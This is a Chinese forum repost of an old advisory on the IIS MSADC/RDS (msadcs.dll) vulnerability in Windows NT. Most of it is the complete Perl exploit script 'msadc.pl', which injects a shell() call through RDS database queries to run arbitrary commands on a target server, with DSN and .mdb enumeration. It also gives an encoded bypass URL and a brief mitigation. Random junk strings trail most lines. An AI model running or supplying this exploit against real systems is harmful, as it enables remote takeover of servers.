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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) M{~eI  
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涉及程序: xl# j_d,  
Microsoft NT server <U1uuOt  
_r^&.'q  
描述: }d6g{`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )>TA|W]@  
!u7WCw.Dm  
详细: {K[+nX =#  
如果你没有时间读详细内容的话,就删除: 8d Ftp3(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *qz]vUb/0  
有关的安全问题就没有了。 Ln`c DZSM  
G1| Tu"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &qe:|M  
l#Qf8*0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 }$$b6G  
关于利用ODBC远程漏洞的描述,请参看: c-M&cU+=L  
U(J?Q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b~#rUOXb8?  
hR= 4w$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \[,7#  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp oiFtPki  
n`^</0  
这里不再论述。 1 ViDS  
Ef?_d]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: m$@CwQj  
9oGsrC lH  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset sM?DNE^BvW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2<.}]yi  
nG8]c9\Q#  
dF FB\|e;0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" fF *a/\h %  
@|d|orMC  
#!perl 9k$uo_i'  
# r)7A# 3wId  
# MSADC/RDS 'usage' (aka exploit) script WX?|iw I~  
# 9cj=CuE  
# by rain.forest.puppy 2V~Yb1P  
# %mxG;w$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ]?<uf40Mm  
# beta test and find errors! 34P? nW(  
{ifYr(|p`  
use Socket; use Getopt::Std; l@Ml8+  
getopts("e:vd:h:XR", \%args); <m)@~s?D  
V}aXS;(r%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wz:wR+  
JH?[hb  
if (!defined $args{h} && !defined $args{R}) { d}WAP m  
print qq~ >+$1 p_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } u9GQ)`7Z@  
-h <host> = host you want to scan (ip or domain) .@[+05Yw  
-d <seconds> = delay between calls, default 1 second y<#y3M!\  
-X = dump Index Server path table, if available 7J')o^MG  
-v = verbose IHB{US1G  
-e = external dictionary file for step 5 koAc-o  
u}ab[$Q5  
Or a -R will resume a command session j~L{=ojz%  
43P?f+IYrk  
~; exit;} YSZz4?9\  
xpSMbX{e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 8ALYih7"W  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} sRYFu%  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =o5hD,>e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); l(<o,Uv[`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} UY|nB hL  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `aSz"4Wd  
Ag?@fuk$J  
if (!defined $args{R}){ $ret = &has_msadc; rV1JJ.I  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \hm=AGI0  
e`C'5`d]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Bj\0RmVa1  
. "cmd /c "; %tpt+N?  
$in=<STDIN>; chomp $in; K_}vmB\2l  
$command="cmd /c " . $in ; %=_ Iq\lC  
 ,?`$ ~8  
if (defined $args{R}) {&load; exit;} .CmwR$u&  
_#-(XQa  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; G>H&M#7K  
&try_btcustmr; .@xwl}o$OL  
B)Gm"bLCOZ  
print "\nStep 2: Trying to make our own DSN..."; XmXHs4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [81k4kU  
9]d$G$Kv9  
print "\nStep 3: Trying known DSNs..."; -i 6<kF-W  
&known_dsn; WE=`8`Li  
ZpWG  
print "\nStep 4: Trying known .mdbs..."; +]I7)  
&known_mdb; j@ =n|cq  
'2# O{  
if (defined $args{e}){ am@\$Sa4  
print "\nStep 5: Trying dictionary of DSN names..."; i12iB+q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } <.=   
Q=>@:1=  
print "Sorry Charley...maybe next time?\n"; s%p(_pB  
exit; JQ0KXS Nr  
YK_a37E{F  
############################################################################## LQR9S/?Ld  
p+yU!Qj  
sub sendraw { # ripped and modded from whisker dGHRHXi  
sleep($delay); # it's a DoS on the server! At least on mine... Ag}>gbz~G  
my ($pstr)=@_; 8)M . W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^i@tOtS  
die("Socket problems\n"); C}W/9_I6Uo  
if(connect(S,pack "SnA4x8",2,80,$target)){ f<y""0L9  
select(S); $|=1; ,qaIdw[  
print $pstr; my @in=<S>; -a/5   
select(STDOUT); close(S); D'A)H  
return @in; y"P$:l  
} else { die("Can't connect...\n"); }} *4WOmsj  
L2Mcs  
############################################################################## Xhi9\wteYw  
( R Ttz  
sub make_header { # make the HTTP request {n |Ra[9_  
my $msadc=<<EOT ^oPf>\),C  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~|fd=E%  
User-Agent: ACTIVEDATA g.&&=T  
Host: $ip 0M:.Jhp  
Content-Length: $clen jh}[7M  
Connection: Keep-Alive 'w!Hjq]$  
O/0m|~`iY  
ADCClientVersion:01.06 g$$uf[A-SL  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 4Mnne'7  
VNA VdP  
--!ADM!ROX!YOUR!WORLD! 1C'lT,twl  
Content-Type: application/x-varg hPhN7E03  
Content-Length: $reqlen 7GE.>h5  
a^~l[HSF  
EOT ,mjwQ6:Ny  
; $msadc=~s/\n/\r\n/g; "r.pU(uxt  
return $msadc;} xS*f{5Hr8  
Ugrcy7  
############################################################################## FFP>Y*v(  
z <s]Z  
sub make_req { # make the RDS request pbju;h)O!|  
my ($switch, $p1, $p2)=@_; J/ <[irC  
my $req=""; my $t1, $t2, $query, $dsn; E!jM&\Zj  
?][Mv`ST  
if ($switch==1){ # this is the btcustmr.mdb query |A}E/=HPU  
$query="Select * from Customers where City=" . make_shell(); `O0v2?/f0  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . vek9. 4! ]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .:$%3#N$(Y  
}1Q]C"hY  
elsif ($switch==2){ # this is general make table query O@?? NF6G  
$query="create table AZZ (B int, C varchar(10))"; l[rIjyL@  
$dsn="$p1";} P ,5P6Y9  
jC<<S  
elsif ($switch==3){ # this is general exploit table query 4l>/6LNMF  
$query="select * from AZZ where C=" . make_shell(); rzEE |  
$dsn="$p1";} t$R|lv5<  
wnha c}  
elsif ($switch==4){ # attempt to hork file info from index server w^z}!/"]u  
$query="select path from scope()"; >/}v8 k1v  
$dsn="Provider=MSIDXS;";} b pExYyt  
ADlPdkmym  
elsif ($switch==5){ # bad query n16,u$|  
$query="select"; (g4.bbEm  
$dsn="$p1";} D.U)R7(  
 +'Tr>2V  
$t1= make_unicode($query); JdFMSmZ@  
$t2= make_unicode($dsn); 9LzQp`In  
$req = "\x02\x00\x03\x00"; lhJT&  
$req.= "\x08\x00" . pack ("S1", length($t1)); c,4UnEoCR  
$req.= "\x00\x00" . $t1 ; EC&w9:R  
$req.= "\x08\x00" . pack ("S1", length($t2)); ysDfp'C,  
$req.= "\x00\x00" . $t2 ; |cUlXg=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; qdNYY&6>?u  
return $req;} 'Pr(7^  
C6:<.`iD87  
############################################################################## !x|OgvJ  
h7kGs^pP  
sub make_shell { # this makes the shell() statement 9`QWqu[  
return "'|shell(\"$command\")|'";} V5%B ,.d:  
H2|&  
############################################################################## t&H):P  
e{c%o;m(  
sub make_unicode { # quick little function to convert to unicode jK3% \`o  
my ($in)=@_; my $out; ZrXvR`bsw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B k#68p  
return $out;} }(O 7tC  
:Y ~fPke  
############################################################################## Y(W>([59  
RY&Wvkjh  
sub rdo_success { # checks for RDO return success (this is kludge) ;' YM@n  
my (@in) = @_; my $base=content_start(@in); 1k3wBc 5<  
if($in[$base]=~/multipart\/mixed/){ * t{A=Wk  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} TV0(uMZ0+'  
return 0;} E(>RmPP=7  
8cF-kfbfZ  
############################################################################## tDF6%RG  
``$At,m  
sub make_dsn { # this makes a DSN for us {pE")O7~P  
my @drives=("c","d","e","f"); =H3 JRRS  
print "\nMaking DSN: "; c_ vj't  
foreach $drive (@drives) { N:\I]M  
print "$drive: "; D />REC^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . K zKHC  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (]vHW+'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); KP -g<Zc  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 4(|x@: wxm  
return 0 if $2 eq "404"; # not found/doesn't exist =-1d m+P  
if($2 eq "200") { p!|ok #sW  
foreach $line (@results) { (,[m}Qb?!  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} d&PXJ  
} return 0;} Cd"O'<^Sb  
Iy6 "2$%a  
############################################################################## OjJKloy'  
#rF|X6P  
sub verify_exists { G! L=W#{  
my ($page)=@_;  #/MUiV  
my @results=sendraw("GET $page HTTP/1.0\n\n"); p4bQCI  
return $results[0];} &5)Kg%r  
bJmVq%>;  
############################################################################## w}K<,5I>  
0^?(;AK  
sub try_btcustmr { :p%nQF,*f  
my @drives=("c","d","e","f"); n!~{4 uUW  
my @dirs=("winnt","winnt35","winnt351","win","windows");  9 k)?-  
oslV@v F  
foreach $dir (@dirs) { IM7k\  
print "$dir -> "; # fun status so you can see progress 0bzD-K4WVd  
foreach $drive (@drives) { 6Z\[{S];  
print "$drive: "; # ditto ,A h QA  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; K%1'zSAyK  
$reqlenlen=length( "$reqlen" ); 2_ <  
$clen= 206 + $reqlenlen + $reqlen; )PVX)2P_C  
593D/^}D  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); `7LN?- T  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 4?jXbC k~x  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {~.h;'m  
?9i 7w1`  
############################################################################## sX^m1v~N|  
M%/ML=eLi  
sub odbc_error { /<\>j+SC  
my (@in)=@_; my $base; v1 d]  
my $base = content_start(@in); %19TJn%J$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O|O#T.Tg  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j$4Tot  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r2]:'O6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vbXuT$  
return $in[$base+4].$in[$base+5].$in[$base+6];} #E3Y; b%v  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (B.J8`h }  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . vA10'Gx'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} S6*3."Sk  
W1w)SS  
############################################################################## 24}r;=U  
gxycw4kz  
sub verbose { 5#!pwjt~7  
my ($in)=@_; !E'jd72O  
return if !$verbose; >}\!'3)_  
print STDOUT "\n$in\n";} 5Y"JRWC  
xwW[6Ah  
############################################################################## #6[FGM  
H^Ik FEVs  
sub save { =mxmJFA  
my ($p1, $p2, $p3, $p4)=@_; P#Z$+&)b)s  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; lBvQ?CJ<y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Jk!}z+X'A  
close OUT;} sF :3|Yy0  
<VS\z(K  
############################################################################## U{"&Jj  
QHUoAa`6v  
sub load { vZ\~+qV,A  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jFZJ #'CNS  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 3l0x~  
@p=<IN>; close(IN); 3+;]dqZ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); v<,? %(g)7  
$target= inet_aton($ip) || die("inet_aton problems"); qY]IX9'kV  
print "Resuming to $ip ..."; CL5u{i5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; cfyN)#9  
if($p[1]==1) { iEux`CcJ.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; =5a~xlBjD  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; L&+XFntR  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); d}GO(  
if (rdo_success(@results)){print "Success!\n";} '=EaZ>=  
else { print "failed\n"; verbose(odbc_error(@results));}} H1N_  
elsif ($p[1]==3){ Edj}\e*-J  
if(run_query("$p[3]")){ s(q\!\FS  
print "Success!\n";} else { print "failed\n"; }} V/j+Z1ZW  
elsif ($p[1]==4){ <v&>&;>3  
if(run_query($drvst . "$p[3]")){ R;,+0r^i  
print "Success!\n"; } else { print "failed\n"; }} 7rw}q~CE5  
exit;} 7Co }4  
lwIU|T<4  
############################################################################## 6 :K~w<mMJ  
%,g6:Zc@  
sub create_table { D0/ \  
my ($in)=@_; NYz{ [LM  
$reqlen=length( make_req(2,$in,"") ) - 28; e*;-vS9H  
$reqlenlen=length( "$reqlen" ); i9[=x(-@  
$clen= 206 + $reqlenlen + $reqlen; :(VD<"X  
my @results=sendraw(make_header() . make_req(2,$in,"")); Sp: `Z1kH  
return 1 if rdo_success(@results); h`F8GNx(  
my $temp= odbc_error(@results); verbose($temp); Gdq_T*  
return 1 if $temp=~/Table 'AZZ' already exists/; f7mP4[+dS  
return 0;} "15mOW(!+  
qP-*  
############################################################################## ;?"2sS!AHQ  
K]yCt~A$  
sub known_dsn { J~9l+?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go H.qp~-n  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", m7Nm!Z7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]e@'9`G-'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); P(8zJk6h),  
%,Xs[[?i  
foreach $dSn (@dsns) { N%'=el4L  
print "."; OWT5Bjl  
next if (!is_access("DSN=$dSn")); 3#}5dO  
if(create_table("DSN=$dSn")){ ' \Z54$  
print "$dSn successful\n"; cd)yj&:?Bt  
if(run_query("DSN=$dSn")){ :jKD M  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { by,"Orpwq;  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 23 BzD^2a  
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############################################################################## hVo]fD|W  
%?1k}(qUeY  
sub is_access { 02q]^3  
my ($in)=@_; rwGY)9 |  
$reqlen=length( make_req(5,$in,"") ) - 28; 73OFFKbsk  
$reqlenlen=length( "$reqlen" ); y((I2g1rv  
$clen= 206 + $reqlenlen + $reqlen; Rm`_0}5  
my @results=sendraw(make_header() . make_req(5,$in,"")); v@TP_Ka  
my $temp= odbc_error(@results); y[BUWas(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a^t#kdT  
return 0;} ZgVYC4=Q-\  
%:yJ/&-Q,Z  
############################################################################## ZNNgi@6>  
N '2Nv  
sub run_query { }D j W  
my ($in)=@_; 422d4Zu  
$reqlen=length( make_req(3,$in,"") ) - 28; CKeT%3  
$reqlenlen=length( "$reqlen" ); '+LC.lM  
$clen= 206 + $reqlenlen + $reqlen; tYK 5?d  
my @results=sendraw(make_header() . make_req(3,$in,"")); ZG+8kt!w  
return 1 if rdo_success(@results); }t#uSz^  
my $temp= odbc_error(@results); verbose($temp); E8j>Toz  
return 0;} {{w5F2b((%  
me"}1REa  
############################################################################## %/NB263Db  
NPF"_[RoeV  
sub known_mdb { PMC5qQ%x  
my @drives=("c","d","e","f","g"); YYwFjA@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ugzq;}V#  
my $dir, $drive, $mdb; 8`l bKV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :1NF#-2\f  
(+lw t  
# this is sparse, because I don't know of many ~fbFA?g3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ^u`1W^>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *f{\ze@5=  
"\\system32\\certmdb.mdb", 4/e|N#1`;[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% YMx]i,u'+  
f-&4x_5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", VgLrufJ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", w6(E$:#d  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", C)66 ^l!x  
"\\cfusion\\cfapps\\security\\realm_.mdb", E0]B=-  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Y3^UJe7E  
"\\cfusion\\database\\cfexamples.mdb", IGqg,OEAp  
"\\cfusion\\database\\cfsnippets.mdb", L ldZ"%P  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _3v6c  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *\><MXx  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8i"v7}  
"\\cfusion\\database\\smpolicy.mdb",  _dCdyf  
"\\cfusion\\database\cypress.mdb", ;G_{$)P.o  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", CR3<9=Lv>  
"\\website\\cgi-win\\dbsample.mdb", YQGVQ[P  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", OOJg%y*H  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" BnJpC<xm  
); #these are just r/o1a't;  
foreach $drive (@drives) { uL| Wuq  
foreach $dir (@dirs){ "@uKe8r|y  
foreach $mdb (@sysmdbs) { &-M>@BMy  
print "."; Bc{j0Su  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sI>I  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; r$<-2lW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KCEBJ{jM  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s?r:McF`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6Q\0v  
9n\:grW  
foreach $drive (@drives) { p,#t[K  
foreach $mdb (@mdbs) { ypyqf55gK  
print "."; 3[`/rg,  
if(create_table($drv . $drive . $dir . $mdb)){ Yl}'hRp  
print "\n" . $drive . $dir . $mdb . " successful\n"; +ZOjbI)  
if(run_query($drv . $drive . $dir . $mdb)){ tbMf_-g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5qZebD2a  
} else { print "Something's borked. Use verbose next time\n"; }}}} zl8O @g  
} lsJl+%&8  
2Iv&XxSo  
############################################################################## vKrOIBP  
K[{hh;7  
sub hork_idx { 3azyqpwU$  
print "\nAttempting to dump Index Server tables...\n"; |qe[`x; %  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; G':wJ7[]`  
$reqlen=length( make_req(4,"","") ) - 28; Q> OBK&'  
$reqlenlen=length( "$reqlen" ); y~eQVnH5W  
$clen= 206 + $reqlenlen + $reqlen; &!Sq6<!v2  
my @results=sendraw2(make_header() . make_req(4,"","")); W&MZ5t,k=  
if (rdo_success(@results)){ J)7m::%I  
my $max=@results; my $c; my %d; rLP:kP'b  
for($c=19; $c<$max; $c++){ WTWONO>  
$results[$c]=~s/\x00//g; b2rlj6d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -lICoRO#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Fl8*dXG&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; I?y!d G  
$d{"$1$2"}="";} H{yUKZH*  
foreach $c (keys %d){ print "$c\n"; } Y 1v9sMN,  
} else {print "Index server doesn't seem to be installed.\n"; }} jd>ug=~x  
oW[];r  
############################################################################## XR2Gw 4]  
p~LTu<*S  
sub dsn_dict { ~O|g~H5;  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *GUQz  
while(<IN>){ jTSN`R9@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (tG8HwV-  
next if (!is_access("DSN=$dSn")); ~bC-0^/ 8|  
if(create_table("DSN=$dSn")){ LsW7JIQd  
print "$dSn successful\n"; M{(g"ha  
if(run_query("DSN=$dSn")){ ]Q8[,HTG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (}!xO?NA(  
print "Something's borked. Use verbose next time\n";}}} Mk=M)d`  
print "\n"; close(IN);} r1pj-   
{S l#z }@s  
############################################################################## ,Q%q!#@  
ML:Zm~A1U  
sub sendraw2 { # ripped and modded from whisker $G UCVxs  
sleep($delay); # it's a DoS on the server! At least on mine... +)J;4B  
my ($pstr)=@_; 19#s:nt9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1:Sq?=&  
die("Socket problems\n"); nr*nX  
if(connect(S,pack "SnA4x8",2,80,$target)){ yzH(\ x  
print "Connected. Getting data"; EU5^"\  
open(OUT,">raw.out"); my @in; 4fR}+[~2  
select(S); $|=1; print $pstr; d2~*fHx_!  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =qWcw7!"  
close(OUT); select(STDOUT); close(S); return @in; o54/r#~fi  
} else { die("Can't connect...\n"); }} Yee% <<S  
)c6t`SBwi  
############################################################################## @XJzM]*w&  
0pfgE=9  
sub content_start { # this will take in the server headers z*oe ho  
my (@in)=@_; my $c; ?R!?}7  
for ($c=1;$c<500;$c++) { ,`Yx(4!rR  
if($in[$c] =~/^\x0d\x0a/){ o&U'zaj  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )G+D6s23  
else { return $c+1; }}} dQ.:xu}~  
return -1;} # it should never get here actually _n~[wb5J  
%tK^&rw%  
############################################################################## `T#Jiq E  
7M.TLV!f]  
sub funky { t>KvR!+`g  
my (@in)=@_; my $error=odbc_error(@in); )(/Bw&$  
if($error=~/ADO could not find the specified provider/){ Ia@!Nr2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; UM(`Oh8  
exit;} G~ONHXL  
if($error=~/A Handler is required/){ GEs5@EH  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?S8_x]E  
exit;} 5$PDA*]9  
if($error=~/specified Handler has denied Access/){ {9c_T!c  
print "\nServer has custom handler filters (they most likely are patched)\n"; j tH>&O  
exit;}} N{}o*K  
=JW.1;  
############################################################################## E*"-U!?)l2  
cVYPPal  
sub has_msadc { QAxR'.d  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J/k4CV*li(  
my $base=content_start(@results); '=V1'I*  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); LlF|VR&P.  
return 0;} t&>eZ"  
_xz>O [unf  
######################## `Q1;Y  
%E\pd@  
dxa[9>V  
解决方案: -s_=4U,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll zcE` .)y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _8{6&AmIw  
m\"X%Y#  
拿出来充数 哈哈
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